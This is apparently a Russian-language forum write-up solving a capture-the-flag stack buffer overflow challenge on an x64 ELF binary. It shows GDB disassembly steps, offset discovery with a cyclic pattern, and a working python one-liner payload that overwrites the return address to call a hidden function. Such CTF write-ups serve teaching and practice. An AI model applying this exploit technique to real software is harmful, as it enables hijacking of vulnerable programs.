![]() |
ELF x64 - Stack buffer overflow - basic
Environment configuration : PIEPosition Independent Executable https://forum.antichat.xyz/attachmen...c317b42f67.png RelRORead Only relocations https://forum.antichat.xyz/attachmen...7b4b4c3fbb.png NXNon-Executable Stack https://forum.antichat.xyz/attachmen...7b4b4c3fbb.png Heap execNon-Executable Heap https://forum.antichat.xyz/attachmen...7b4b4c3fbb.png ASLRAddress Space Layout Randomization https://forum.antichat.xyz/attachmen...7b4b4c3fbb.png SFSource Fortification https://forum.antichat.xyz/attachmen...c317b42f67.png SSPStack-Smashing Protection https://forum.antichat.xyz/attachmen...c317b42f67.png SRCSource code access https://forum.antichat.xyz/attachmen...7b4b4c3fbb.png Source code : C: Код:
#include Это обычная задачка на переполнение буфера, но в отличие от других задачек, тут x64 битная архитектура. Бегло просмотрев исходный код программы становится ясно, что нам нужно вызвать функцию Код:
callMeMaybe()И так запускаем нашу программу под отладчиком GDB Код:
gdb -q ./ch35Код:
disas callMeMaybeАдрес 0x00000000004005e7 функции получен. Теперь вычислим смещение. Делать это будем по старинке воспользуемся генератором для создания паттернов. https://forum.antichat.xyz/attachmen...c01013aff4.png Запускаем программу под отладчиком Код:
runКод: Код:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5AqПолученный адрес ничего не дал https://forum.antichat.xyz/attachmen...b308e0a3c0.png Посмотрим что это за адрес в памяти Код:
x/x 0x000000000040068eВидно что этот адрес , есть в главной функции. Посмотрим... Код:
disas mainЭто адрес возврата из главной функции. И это значение находится в регистре RIP (EIP). Значит мы перезаписали всё! Но как узнать конкретное значение? Давайте посмотрим на регистры Код:
i rКак и всегда нас интересуют 3 регистра Код: Код:
rbp 0x41326a41316a4130 0x41326a41316a4130RSP на верхушку стека RBP относительного него записываются локальные переменные и аргументы в стеке Тут видно что RBP перезаписан посмотрим... https://forum.antichat.xyz/attachmen...cddf4d01dc.png А вот и смещение - 272 байта. Проверим так ли это... https://forum.antichat.xyz/attachmen...aa9249c20c.png Нет это не так. 272 байта не перезаписывают RBP. Тогда добавим еще 8 байт ( так как это 64 ) и проверим снова. Как видно на скриншоте 280 это смещение которое мы искали. Теперь составим сам эксплойт Код:
python -c 'print "A"*280 + "\xe7\x05\x40\x00\x00\x00\x00\x00" ' > /tmp/exploitКод:
(cat /tmp/exploit; cat) | ./ch35https://forum.antichat.xyz/attachmen...f474810905.png Вот так вот можно было получить флаг. |
| Время: 17:06 |